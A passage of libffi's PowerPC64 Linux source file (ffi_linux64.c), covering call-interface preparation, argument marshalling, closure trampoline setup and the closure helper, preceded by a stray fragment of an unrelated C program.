printf("32 * 16 + 256 + 512 / 2 = %d\n", num);
return 0;
}
|
the_stack_data/44210.c | /* -----------------------------------------------------------------------
ffi_linux64.c - Copyright (C) 2013 IBM
Copyright (C) 2011 Anthony Green
Copyright (C) 2011 Kyle Moffett
Copyright (C) 2008 Red Hat, Inc
Copyright (C) 2007, 2008 Free Software Foundation, Inc
Copyright (c) 1998 Geoffrey Keating
PowerPC Foreign Function Interface
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
#include "ffi.h"
#ifdef POWERPC64
#include "ffi_common.h"
#include "ffi_powerpc.h"
/* About the LINUX64 ABI. */
enum {
NUM_GPR_ARG_REGISTERS64 = 8,
NUM_FPR_ARG_REGISTERS64 = 13,
NUM_VEC_ARG_REGISTERS64 = 12,
};
enum { ASM_NEEDS_REGISTERS64 = 4 };
#if HAVE_LONG_DOUBLE_VARIANT && FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
/* Adjust size of ffi_type_longdouble. */
void FFI_HIDDEN
ffi_prep_types_linux64 (ffi_abi abi)
{
if ((abi & (FFI_LINUX | FFI_LINUX_LONG_DOUBLE_128)) == FFI_LINUX)
{
ffi_type_longdouble.size = 8;
ffi_type_longdouble.alignment = 8;
}
else
{
ffi_type_longdouble.size = 16;
ffi_type_longdouble.alignment = 16;
}
}
#endif
static unsigned int
discover_homogeneous_aggregate (ffi_abi abi,
const ffi_type *t,
unsigned int *elnum)
{
switch (t->type)
{
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
/* 64-bit long doubles are equivalent to doubles. */
if ((abi & FFI_LINUX_LONG_DOUBLE_128) == 0)
{
*elnum = 1;
return FFI_TYPE_DOUBLE;
}
/* IBM extended precision values use unaligned pairs
of FPRs, but according to the ABI must be considered
distinct from doubles. They are also limited to a
maximum of four members in a homogeneous aggregate. */
else if ((abi & FFI_LINUX_LONG_DOUBLE_IEEE128) == 0)
{
*elnum = 2;
return FFI_TYPE_LONGDOUBLE;
}
/* Fall through. */
#endif
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
*elnum = 1;
return (int) t->type;
case FFI_TYPE_STRUCT:;
{
unsigned int base_elt = 0, total_elnum = 0;
ffi_type **el = t->elements;
while (*el)
{
unsigned int el_elt, el_elnum = 0;
el_elt = discover_homogeneous_aggregate (abi, *el, &el_elnum);
if (el_elt == 0
|| (base_elt && base_elt != el_elt))
return 0;
base_elt = el_elt;
total_elnum += el_elnum;
#if _CALL_ELF == 2
if (total_elnum > 8)
return 0;
#else
if (total_elnum > 1)
return 0;
#endif
el++;
}
*elnum = total_elnum;
return base_elt;
}
default:
return 0;
}
}
/* Perform machine dependent cif processing */
static ffi_status
ffi_prep_cif_linux64_core (ffi_cif *cif)
{
ffi_type **ptr;
unsigned bytes;
unsigned i, fparg_count = 0, intarg_count = 0, vecarg_count = 0;
unsigned flags = cif->flags;
unsigned elt, elnum, rtype;
#if FFI_TYPE_LONGDOUBLE == FFI_TYPE_DOUBLE
/* If compiled without long double support... */
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_128) != 0 ||
(cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
return FFI_BAD_ABI;
#elif !defined(__VEC__)
/* If compiled without vector register support (used by assembly)... */
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
return FFI_BAD_ABI;
#else
/* If the IEEE128 flag is set, but long double is only 64 bits wide... */
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_128) == 0 &&
(cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
return FFI_BAD_ABI;
#endif
/* The machine-independent calculation of cif->bytes doesn't work
for us. Redo the calculation. */
#if _CALL_ELF == 2
/* Space for backchain, CR, LR, TOC and the asm's temp regs. */
bytes = (4 + ASM_NEEDS_REGISTERS64) * sizeof (long);
/* Space for the general registers. */
bytes += NUM_GPR_ARG_REGISTERS64 * sizeof (long);
#else
/* Space for backchain, CR, LR, cc/ld doubleword, TOC and the asm's temp
regs. */
bytes = (6 + ASM_NEEDS_REGISTERS64) * sizeof (long);
/* Space for the mandatory parm save area and general registers. */
bytes += 2 * NUM_GPR_ARG_REGISTERS64 * sizeof (long);
#endif
/* Return value handling. */
rtype = cif->rtype->type;
#if _CALL_ELF == 2
homogeneous:
#endif
switch (rtype)
{
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
flags |= FLAG_RETURNS_VEC;
break;
}
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_128) != 0)
flags |= FLAG_RETURNS_128BITS;
/* Fall through. */
#endif
case FFI_TYPE_DOUBLE:
flags |= FLAG_RETURNS_64BITS;
/* Fall through. */
case FFI_TYPE_FLOAT:
flags |= FLAG_RETURNS_FP;
break;
case FFI_TYPE_UINT128:
flags |= FLAG_RETURNS_128BITS;
/* Fall through. */
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
case FFI_TYPE_POINTER:
flags |= FLAG_RETURNS_64BITS;
break;
case FFI_TYPE_STRUCT:
#if _CALL_ELF == 2
elt = discover_homogeneous_aggregate (cif->abi, cif->rtype, &elnum);
if (elt)
{
flags |= FLAG_RETURNS_SMST;
rtype = elt;
goto homogeneous;
}
if (cif->rtype->size <= 16)
{
flags |= FLAG_RETURNS_SMST;
break;
}
#endif
intarg_count++;
flags |= FLAG_RETVAL_REFERENCE;
/* Fall through. */
case FFI_TYPE_VOID:
flags |= FLAG_RETURNS_NOTHING;
break;
default:
/* Returns 32-bit integer, or similar. Nothing to do here. */
break;
}
for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++)
{
unsigned int align;
switch ((*ptr)->type)
{
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
vecarg_count++;
/* Align to 16 bytes, plus the 16-byte argument. */
intarg_count = (intarg_count + 3) & ~0x1;
if (vecarg_count > NUM_VEC_ARG_REGISTERS64)
flags |= FLAG_ARG_NEEDS_PSAVE;
break;
}
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_128) != 0)
{
fparg_count++;
intarg_count++;
}
/* Fall through. */
#endif
case FFI_TYPE_DOUBLE:
case FFI_TYPE_FLOAT:
fparg_count++;
intarg_count++;
if (fparg_count > NUM_FPR_ARG_REGISTERS64)
flags |= FLAG_ARG_NEEDS_PSAVE;
break;
case FFI_TYPE_STRUCT:
if ((cif->abi & FFI_LINUX_STRUCT_ALIGN) != 0)
{
align = (*ptr)->alignment;
if (align > 16)
align = 16;
align = align / 8;
if (align > 1)
intarg_count = FFI_ALIGN (intarg_count, align);
}
intarg_count += ((*ptr)->size + 7) / 8;
elt = discover_homogeneous_aggregate (cif->abi, *ptr, &elnum);
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
if (elt == FFI_TYPE_LONGDOUBLE &&
(cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
vecarg_count += elnum;
if (vecarg_count > NUM_VEC_ARG_REGISTERS64)
flags |= FLAG_ARG_NEEDS_PSAVE;
break;
}
else
#endif
if (elt)
{
fparg_count += elnum;
if (fparg_count > NUM_FPR_ARG_REGISTERS64)
flags |= FLAG_ARG_NEEDS_PSAVE;
}
else
{
if (intarg_count > NUM_GPR_ARG_REGISTERS64)
flags |= FLAG_ARG_NEEDS_PSAVE;
}
break;
case FFI_TYPE_POINTER:
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
case FFI_TYPE_INT:
case FFI_TYPE_UINT32:
case FFI_TYPE_SINT32:
case FFI_TYPE_UINT16:
case FFI_TYPE_SINT16:
case FFI_TYPE_UINT8:
case FFI_TYPE_SINT8:
/* Everything else is passed as a 8-byte word in a GPR, either
the object itself or a pointer to it. */
intarg_count++;
if (intarg_count > NUM_GPR_ARG_REGISTERS64)
flags |= FLAG_ARG_NEEDS_PSAVE;
break;
default:
FFI_ASSERT (0);
}
}
if (fparg_count != 0)
flags |= FLAG_FP_ARGUMENTS;
if (intarg_count > 4)
flags |= FLAG_4_GPR_ARGUMENTS;
if (vecarg_count != 0)
flags |= FLAG_VEC_ARGUMENTS;
/* Space for the FPR registers, if needed. */
if (fparg_count != 0)
bytes += NUM_FPR_ARG_REGISTERS64 * sizeof (double);
/* Space for the vector registers, if needed, aligned to 16 bytes. */
if (vecarg_count != 0) {
bytes = (bytes + 15) & ~0xF;
bytes += NUM_VEC_ARG_REGISTERS64 * sizeof (float128);
}
/* Stack space. */
#if _CALL_ELF == 2
if ((flags & FLAG_ARG_NEEDS_PSAVE) != 0)
bytes += intarg_count * sizeof (long);
#else
if (intarg_count > NUM_GPR_ARG_REGISTERS64)
bytes += (intarg_count - NUM_GPR_ARG_REGISTERS64) * sizeof (long);
#endif
/* The stack space allocated needs to be a multiple of 16 bytes. */
bytes = (bytes + 15) & ~0xF;
cif->flags = flags;
cif->bytes = bytes;
return FFI_OK;
}
ffi_status FFI_HIDDEN
ffi_prep_cif_linux64 (ffi_cif *cif)
{
if ((cif->abi & FFI_LINUX) != 0)
cif->nfixedargs = cif->nargs;
#if _CALL_ELF != 2
else if (cif->abi == FFI_COMPAT_LINUX64)
{
/* This call is from old code. Don't touch cif->nfixedargs
since old code will be using a smaller cif. */
cif->flags |= FLAG_COMPAT;
/* Translate to new abi value. */
cif->abi = FFI_LINUX | FFI_LINUX_LONG_DOUBLE_128;
}
#endif
else
return FFI_BAD_ABI;
return ffi_prep_cif_linux64_core (cif);
}
ffi_status FFI_HIDDEN
ffi_prep_cif_linux64_var (ffi_cif *cif,
unsigned int nfixedargs,
unsigned int ntotalargs MAYBE_UNUSED)
{
if ((cif->abi & FFI_LINUX) != 0)
cif->nfixedargs = nfixedargs;
#if _CALL_ELF != 2
else if (cif->abi == FFI_COMPAT_LINUX64)
{
/* This call is from old code. Don't touch cif->nfixedargs
since old code will be using a smaller cif. */
cif->flags |= FLAG_COMPAT;
/* Translate to new abi value. */
cif->abi = FFI_LINUX | FFI_LINUX_LONG_DOUBLE_128;
}
#endif
else
return FFI_BAD_ABI;
#if _CALL_ELF == 2
cif->flags |= FLAG_ARG_NEEDS_PSAVE;
#endif
return ffi_prep_cif_linux64_core (cif);
}
/* ffi_prep_args64 is called by the assembly routine once stack space
has been allocated for the function's arguments.
The stack layout we want looks like this:
| Ret addr from ffi_call_LINUX64 8bytes | higher addresses
|--------------------------------------------|
| CR save area 8bytes |
|--------------------------------------------|
| Previous backchain pointer 8 | stack pointer here
|--------------------------------------------|<+ <<< on entry to
| Saved r28-r31 4*8 | | ffi_call_LINUX64
|--------------------------------------------| |
| GPR registers r3-r10 8*8 | |
|--------------------------------------------| |
| FPR registers f1-f13 (optional) 13*8 | |
|--------------------------------------------| |
| VEC registers v2-v13 (optional) 12*16 | |
|--------------------------------------------| |
| Parameter save area | |
|--------------------------------------------| |
| TOC save area 8 | |
|--------------------------------------------| | stack |
| Linker doubleword 8 | | grows |
|--------------------------------------------| | down V
| Compiler doubleword 8 | |
|--------------------------------------------| | lower addresses
| Space for callee's LR 8 | |
|--------------------------------------------| |
| CR save area 8 | |
|--------------------------------------------| | stack pointer here
| Current backchain pointer 8 |-/ during
|--------------------------------------------| <<< ffi_call_LINUX64
*/
void FFI_HIDDEN
ffi_prep_args64 (extended_cif *ecif, unsigned long *const stack)
{
const unsigned long bytes = ecif->cif->bytes;
const unsigned long flags = ecif->cif->flags;
typedef union
{
char *c;
unsigned long *ul;
float *f;
double *d;
float128 *f128;
size_t p;
} valp;
/* 'stacktop' points at the previous backchain pointer. */
valp stacktop;
/* 'next_arg' points at the space for gpr3, and grows upwards as
we use GPR registers, then continues at rest. */
valp gpr_base;
valp gpr_end;
valp rest;
valp next_arg;
/* 'fpr_base' points at the space for f1, and grows upwards as
we use FPR registers. */
valp fpr_base;
unsigned int fparg_count;
/* 'vec_base' points at the space for v2, and grows upwards as
we use vector registers. */
valp vec_base;
unsigned int vecarg_count;
unsigned int i, words, nargs, nfixedargs;
ffi_type **ptr;
double double_tmp;
union
{
void **v;
char **c;
signed char **sc;
unsigned char **uc;
signed short **ss;
unsigned short **us;
signed int **si;
unsigned int **ui;
unsigned long **ul;
float **f;
double **d;
float128 **f128;
} p_argv;
unsigned long gprvalue;
unsigned long align;
stacktop.c = (char *) stack + bytes;
gpr_base.ul = stacktop.ul - ASM_NEEDS_REGISTERS64 - NUM_GPR_ARG_REGISTERS64;
gpr_end.ul = gpr_base.ul + NUM_GPR_ARG_REGISTERS64;
#if _CALL_ELF == 2
rest.ul = stack + 4 + NUM_GPR_ARG_REGISTERS64;
#else
rest.ul = stack + 6 + NUM_GPR_ARG_REGISTERS64;
#endif
fpr_base.d = gpr_base.d - NUM_FPR_ARG_REGISTERS64;
fparg_count = 0;
/* Place the vector args below the FPRs, if used, else the GPRs. */
if (ecif->cif->flags & FLAG_FP_ARGUMENTS)
vec_base.p = fpr_base.p & ~0xF;
else
vec_base.p = gpr_base.p;
vec_base.f128 -= NUM_VEC_ARG_REGISTERS64;
vecarg_count = 0;
next_arg.ul = gpr_base.ul;
/* Check that everything starts aligned properly. */
FFI_ASSERT (((unsigned long) (char *) stack & 0xF) == 0);
FFI_ASSERT (((unsigned long) stacktop.c & 0xF) == 0);
FFI_ASSERT (((unsigned long) gpr_base.c & 0xF) == 0);
FFI_ASSERT (((unsigned long) gpr_end.c & 0xF) == 0);
FFI_ASSERT (((unsigned long) vec_base.c & 0xF) == 0);
FFI_ASSERT ((bytes & 0xF) == 0);
/* Deal with return values that are actually pass-by-reference. */
if (flags & FLAG_RETVAL_REFERENCE)
*next_arg.ul++ = (unsigned long) (char *) ecif->rvalue;
/* Now for the arguments. */
p_argv.v = ecif->avalue;
nargs = ecif->cif->nargs;
#if _CALL_ELF != 2
nfixedargs = (unsigned) -1;
if ((flags & FLAG_COMPAT) == 0)
#endif
nfixedargs = ecif->cif->nfixedargs;
for (ptr = ecif->cif->arg_types, i = 0;
i < nargs;
i++, ptr++, p_argv.v++)
{
unsigned int elt, elnum;
switch ((*ptr)->type)
{
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
if ((ecif->cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
next_arg.p = FFI_ALIGN (next_arg.p, 16);
if (next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
if (vecarg_count < NUM_VEC_ARG_REGISTERS64 && i < nfixedargs)
memcpy (vec_base.f128++, *p_argv.f128, sizeof (float128));
else
memcpy (next_arg.f128, *p_argv.f128, sizeof (float128));
if (++next_arg.f128 == gpr_end.f128)
next_arg.f128 = rest.f128;
vecarg_count++;
FFI_ASSERT (__LDBL_MANT_DIG__ == 113);
FFI_ASSERT (flags & FLAG_VEC_ARGUMENTS);
break;
}
if ((ecif->cif->abi & FFI_LINUX_LONG_DOUBLE_128) != 0)
{
double_tmp = (*p_argv.d)[0];
if (fparg_count < NUM_FPR_ARG_REGISTERS64 && i < nfixedargs)
{
*fpr_base.d++ = double_tmp;
# if _CALL_ELF != 2
if ((flags & FLAG_COMPAT) != 0)
*next_arg.d = double_tmp;
# endif
}
else
*next_arg.d = double_tmp;
if (++next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
fparg_count++;
double_tmp = (*p_argv.d)[1];
if (fparg_count < NUM_FPR_ARG_REGISTERS64 && i < nfixedargs)
{
*fpr_base.d++ = double_tmp;
# if _CALL_ELF != 2
if ((flags & FLAG_COMPAT) != 0)
*next_arg.d = double_tmp;
# endif
}
else
*next_arg.d = double_tmp;
if (++next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
fparg_count++;
FFI_ASSERT (__LDBL_MANT_DIG__ == 106);
FFI_ASSERT (flags & FLAG_FP_ARGUMENTS);
break;
}
/* Fall through. */
#endif
case FFI_TYPE_DOUBLE:
#if _CALL_ELF != 2
do_double:
#endif
double_tmp = **p_argv.d;
if (fparg_count < NUM_FPR_ARG_REGISTERS64 && i < nfixedargs)
{
*fpr_base.d++ = double_tmp;
#if _CALL_ELF != 2
if ((flags & FLAG_COMPAT) != 0)
*next_arg.d = double_tmp;
#endif
}
else
*next_arg.d = double_tmp;
if (++next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
fparg_count++;
FFI_ASSERT (flags & FLAG_FP_ARGUMENTS);
break;
case FFI_TYPE_FLOAT:
#if _CALL_ELF != 2
do_float:
#endif
double_tmp = **p_argv.f;
if (fparg_count < NUM_FPR_ARG_REGISTERS64 && i < nfixedargs)
{
*fpr_base.d++ = double_tmp;
#if _CALL_ELF != 2
if ((flags & FLAG_COMPAT) != 0)
{
# ifndef __LITTLE_ENDIAN__
next_arg.f[1] = (float) double_tmp;
# else
next_arg.f[0] = (float) double_tmp;
# endif
}
#endif
}
else
{
# ifndef __LITTLE_ENDIAN__
next_arg.f[1] = (float) double_tmp;
# else
next_arg.f[0] = (float) double_tmp;
# endif
}
if (++next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
fparg_count++;
FFI_ASSERT (flags & FLAG_FP_ARGUMENTS);
break;
case FFI_TYPE_STRUCT:
if ((ecif->cif->abi & FFI_LINUX_STRUCT_ALIGN) != 0)
{
align = (*ptr)->alignment;
if (align > 16)
align = 16;
if (align > 1)
{
next_arg.p = FFI_ALIGN (next_arg.p, align);
if (next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
}
}
elt = discover_homogeneous_aggregate (ecif->cif->abi, *ptr, &elnum);
if (elt)
{
#if _CALL_ELF == 2
union {
void *v;
float *f;
double *d;
float128 *f128;
} arg;
arg.v = *p_argv.v;
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
if (elt == FFI_TYPE_LONGDOUBLE &&
(ecif->cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
do
{
if (vecarg_count < NUM_VEC_ARG_REGISTERS64
&& i < nfixedargs)
memcpy (vec_base.f128++, arg.f128, sizeof (float128));
else
memcpy (next_arg.f128, arg.f128++, sizeof (float128));
if (++next_arg.f128 == gpr_end.f128)
next_arg.f128 = rest.f128;
vecarg_count++;
}
while (--elnum != 0);
}
else
#endif
if (elt == FFI_TYPE_FLOAT)
{
do
{
double_tmp = *arg.f++;
if (fparg_count < NUM_FPR_ARG_REGISTERS64
&& i < nfixedargs)
*fpr_base.d++ = double_tmp;
else
*next_arg.f = (float) double_tmp;
if (++next_arg.f == gpr_end.f)
next_arg.f = rest.f;
fparg_count++;
}
while (--elnum != 0);
if ((next_arg.p & 7) != 0)
if (++next_arg.f == gpr_end.f)
next_arg.f = rest.f;
}
else
do
{
double_tmp = *arg.d++;
if (fparg_count < NUM_FPR_ARG_REGISTERS64 && i < nfixedargs)
*fpr_base.d++ = double_tmp;
else
*next_arg.d = double_tmp;
if (++next_arg.d == gpr_end.d)
next_arg.d = rest.d;
fparg_count++;
}
while (--elnum != 0);
#else
if (elt == FFI_TYPE_FLOAT)
goto do_float;
else
goto do_double;
#endif
}
else
{
words = ((*ptr)->size + 7) / 8;
if (next_arg.ul >= gpr_base.ul && next_arg.ul + words > gpr_end.ul)
{
size_t first = gpr_end.c - next_arg.c;
memcpy (next_arg.c, *p_argv.c, first);
memcpy (rest.c, *p_argv.c + first, (*ptr)->size - first);
next_arg.c = rest.c + words * 8 - first;
}
else
{
char *where = next_arg.c;
#ifndef __LITTLE_ENDIAN__
/* Structures with size less than eight bytes are passed
left-padded. */
if ((*ptr)->size < 8)
where += 8 - (*ptr)->size;
#endif
memcpy (where, *p_argv.c, (*ptr)->size);
next_arg.ul += words;
if (next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
}
}
break;
case FFI_TYPE_UINT8:
gprvalue = **p_argv.uc;
goto putgpr;
case FFI_TYPE_SINT8:
gprvalue = **p_argv.sc;
goto putgpr;
case FFI_TYPE_UINT16:
gprvalue = **p_argv.us;
goto putgpr;
case FFI_TYPE_SINT16:
gprvalue = **p_argv.ss;
goto putgpr;
case FFI_TYPE_UINT32:
gprvalue = **p_argv.ui;
goto putgpr;
case FFI_TYPE_INT:
case FFI_TYPE_SINT32:
gprvalue = **p_argv.si;
goto putgpr;
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
case FFI_TYPE_POINTER:
gprvalue = **p_argv.ul;
putgpr:
*next_arg.ul++ = gprvalue;
if (next_arg.ul == gpr_end.ul)
next_arg.ul = rest.ul;
break;
}
}
FFI_ASSERT (flags & FLAG_4_GPR_ARGUMENTS
|| (next_arg.ul >= gpr_base.ul
&& next_arg.ul <= gpr_base.ul + 4));
}
#if _CALL_ELF == 2
#define MIN_CACHE_LINE_SIZE 8
static void
flush_icache (char *wraddr, char *xaddr, int size)
{
int i;
for (i = 0; i < size; i += MIN_CACHE_LINE_SIZE)
__asm__ volatile ("icbi 0,%0;" "dcbf 0,%1;"
: : "r" (xaddr + i), "r" (wraddr + i) : "memory");
__asm__ volatile ("icbi 0,%0;" "dcbf 0,%1;" "sync;" "isync;"
: : "r"(xaddr + size - 1), "r"(wraddr + size - 1)
: "memory");
}
#endif
ffi_status FFI_HIDDEN
ffi_prep_closure_loc_linux64 (ffi_closure *closure,
ffi_cif *cif,
void (*fun) (ffi_cif *, void *, void **, void *),
void *user_data,
void *codeloc)
{
#if _CALL_ELF == 2
unsigned int *tramp = (unsigned int *) &closure->tramp[0];
if (cif->abi < FFI_LINUX || cif->abi >= FFI_LAST_ABI)
return FFI_BAD_ABI;
tramp[0] = 0xe96c0018; /* 0: ld 11,2f-0b(12) */
tramp[1] = 0xe98c0010; /* ld 12,1f-0b(12) */
tramp[2] = 0x7d8903a6; /* mtctr 12 */
tramp[3] = 0x4e800420; /* bctr */
/* 1: .quad function_addr */
/* 2: .quad context */
*(void **) &tramp[4] = (void *) ffi_closure_LINUX64;
*(void **) &tramp[6] = codeloc;
flush_icache ((char *) tramp, (char *) codeloc, 4 * 4);
#else
void **tramp = (void **) &closure->tramp[0];
if (cif->abi < FFI_LINUX || cif->abi >= FFI_LAST_ABI)
return FFI_BAD_ABI;
/* Copy function address and TOC from ffi_closure_LINUX64 OPD. */
memcpy (&tramp[0], (void **) ffi_closure_LINUX64, sizeof (void *));
tramp[1] = codeloc;
memcpy (&tramp[2], (void **) ffi_closure_LINUX64 + 1, sizeof (void *));
#endif
closure->cif = cif;
closure->fun = fun;
closure->user_data = user_data;
return FFI_OK;
}
int FFI_HIDDEN
ffi_closure_helper_LINUX64 (ffi_cif *cif,
void (*fun) (ffi_cif *, void *, void **, void *),
void *user_data,
void *rvalue,
unsigned long *pst,
ffi_dblfl *pfr,
float128 *pvec)
{
/* rvalue is the pointer to space for return value in closure assembly */
/* pst is the pointer to parameter save area
(r3-r10 are stored into its first 8 slots by ffi_closure_LINUX64) */
/* pfr is the pointer to where f1-f13 are stored in ffi_closure_LINUX64 */
/* pvec is the pointer to where v2-v13 are stored in ffi_closure_LINUX64 */
void **avalue;
ffi_type **arg_types;
unsigned long i, avn, nfixedargs;
ffi_dblfl *end_pfr = pfr + NUM_FPR_ARG_REGISTERS64;
float128 *end_pvec = pvec + NUM_VEC_ARG_REGISTERS64;
unsigned long align;
avalue = alloca (cif->nargs * sizeof (void *));
/* Copy the caller's structure return value address so that the
closure returns the data directly to the caller. */
if (cif->rtype->type == FFI_TYPE_STRUCT
&& (cif->flags & FLAG_RETURNS_SMST) == 0)
{
rvalue = (void *) *pst;
pst++;
}
i = 0;
avn = cif->nargs;
#if _CALL_ELF != 2
nfixedargs = (unsigned) -1;
if ((cif->flags & FLAG_COMPAT) == 0)
#endif
nfixedargs = cif->nfixedargs;
arg_types = cif->arg_types;
/* Grab the addresses of the arguments from the stack frame. */
while (i < avn)
{
unsigned int elt, elnum;
switch (arg_types[i]->type)
{
case FFI_TYPE_SINT8:
case FFI_TYPE_UINT8:
#ifndef __LITTLE_ENDIAN__
avalue[i] = (char *) pst + 7;
pst++;
break;
#endif
case FFI_TYPE_SINT16:
case FFI_TYPE_UINT16:
#ifndef __LITTLE_ENDIAN__
avalue[i] = (char *) pst + 6;
pst++;
break;
#endif
case FFI_TYPE_SINT32:
case FFI_TYPE_UINT32:
#ifndef __LITTLE_ENDIAN__
avalue[i] = (char *) pst + 4;
pst++;
break;
#endif
case FFI_TYPE_SINT64:
case FFI_TYPE_UINT64:
case FFI_TYPE_POINTER:
avalue[i] = pst;
pst++;
break;
case FFI_TYPE_STRUCT:
if ((cif->abi & FFI_LINUX_STRUCT_ALIGN) != 0)
{
align = arg_types[i]->alignment;
if (align > 16)
align = 16;
if (align > 1)
pst = (unsigned long *) FFI_ALIGN ((size_t) pst, align);
}
elt = discover_homogeneous_aggregate (cif->abi, arg_types[i], &elnum);
if (elt)
{
#if _CALL_ELF == 2
union {
void *v;
unsigned long *ul;
float *f;
double *d;
float128 *f128;
size_t p;
} to, from;
/* Repackage the aggregate from its parts. The
aggregate size is not greater than the space taken by
the registers so store back to the register/parameter
save arrays. */
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
if (elt == FFI_TYPE_LONGDOUBLE &&
(cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
if (pvec + elnum <= end_pvec)
to.v = pvec;
else
to.v = pst;
}
else
#endif
if (pfr + elnum <= end_pfr)
to.v = pfr;
else
to.v = pst;
avalue[i] = to.v;
from.ul = pst;
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
if (elt == FFI_TYPE_LONGDOUBLE &&
(cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
do
{
if (pvec < end_pvec && i < nfixedargs)
memcpy (to.f128, pvec++, sizeof (float128));
else
memcpy (to.f128, from.f128, sizeof (float128));
to.f128++;
from.f128++;
}
while (--elnum != 0);
}
else
#endif
if (elt == FFI_TYPE_FLOAT)
{
do
{
if (pfr < end_pfr && i < nfixedargs)
{
*to.f = (float) pfr->d;
pfr++;
}
else
*to.f = *from.f;
to.f++;
from.f++;
}
while (--elnum != 0);
}
else
{
do
{
if (pfr < end_pfr && i < nfixedargs)
{
*to.d = pfr->d;
pfr++;
}
else
*to.d = *from.d;
to.d++;
from.d++;
}
while (--elnum != 0);
}
#else
if (elt == FFI_TYPE_FLOAT)
goto do_float;
else
goto do_double;
#endif
}
else
{
#ifndef __LITTLE_ENDIAN__
/* Structures with size less than eight bytes are passed
left-padded. */
if (arg_types[i]->size < 8)
avalue[i] = (char *) pst + 8 - arg_types[i]->size;
else
#endif
avalue[i] = pst;
}
pst += (arg_types[i]->size + 7) / 8;
break;
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
if ((cif->abi & FFI_LINUX_LONG_DOUBLE_IEEE128) != 0)
{
if (((unsigned long) pst & 0xF) != 0)
++pst;
if (pvec < end_pvec && i < nfixedargs)
avalue[i] = pvec++;
else
avalue[i] = pst;
pst += 2;
break;
}
else if ((cif->abi & FFI_LINUX_LONG_DOUBLE_128) != 0)
{
if (pfr + 1 < end_pfr && i + 1 < nfixedargs)
{
avalue[i] = pfr;
pfr += 2;
}
else
{
if (pfr < end_pfr && i < nfixedargs)
{
/* Passed partly in f13 and partly on the stack.
Move it all to the stack. */
*pst = *(unsigned long *) pfr;
pfr++;
}
avalue[i] = pst;
}
pst += 2;
break;
}
/* Fall through. */
#endif
case FFI_TYPE_DOUBLE:
#if _CALL_ELF != 2
do_double:
#endif
/* On the outgoing stack all values are aligned to 8 */
/* there are 13 64bit floating point registers */
if (pfr < end_pfr && i < nfixedargs)
{
avalue[i] = pfr;
pfr++;
}
else
avalue[i] = pst;
pst++;
break;
case FFI_TYPE_FLOAT:
#if _CALL_ELF != 2
do_float:
#endif
if (pfr < end_pfr && i < nfixedargs)
{
/* Float values are stored as doubles in the
ffi_closure_LINUX64 code. Fix them here. */
pfr->f = (float) pfr->d;
avalue[i] = pfr;
pfr++;
}
else
{
#ifndef __LITTLE_ENDIAN__
avalue[i] = (char *) pst + 4;
#else
avalue[i] = pst;
#endif
}
pst++;
break;
default:
FFI_ASSERT (0);
}
i++;
}
(*fun) (cif, rvalue, avalue, user_data);
/* Tell ffi_closure_LINUX64 how to perform return type promotions. */
if ((cif->flags & FLAG_RETURNS_SMST) != 0)
{
if ((cif->flags & (FLAG_RETURNS_FP | FLAG_RETURNS_VEC)) == 0)
return FFI_V2_TYPE_SMALL_STRUCT + cif->rtype->size - 1;
else if ((cif->flags & FLAG_RETURNS_VEC) != 0)
return FFI_V2_TYPE_VECTOR_HOMOG;
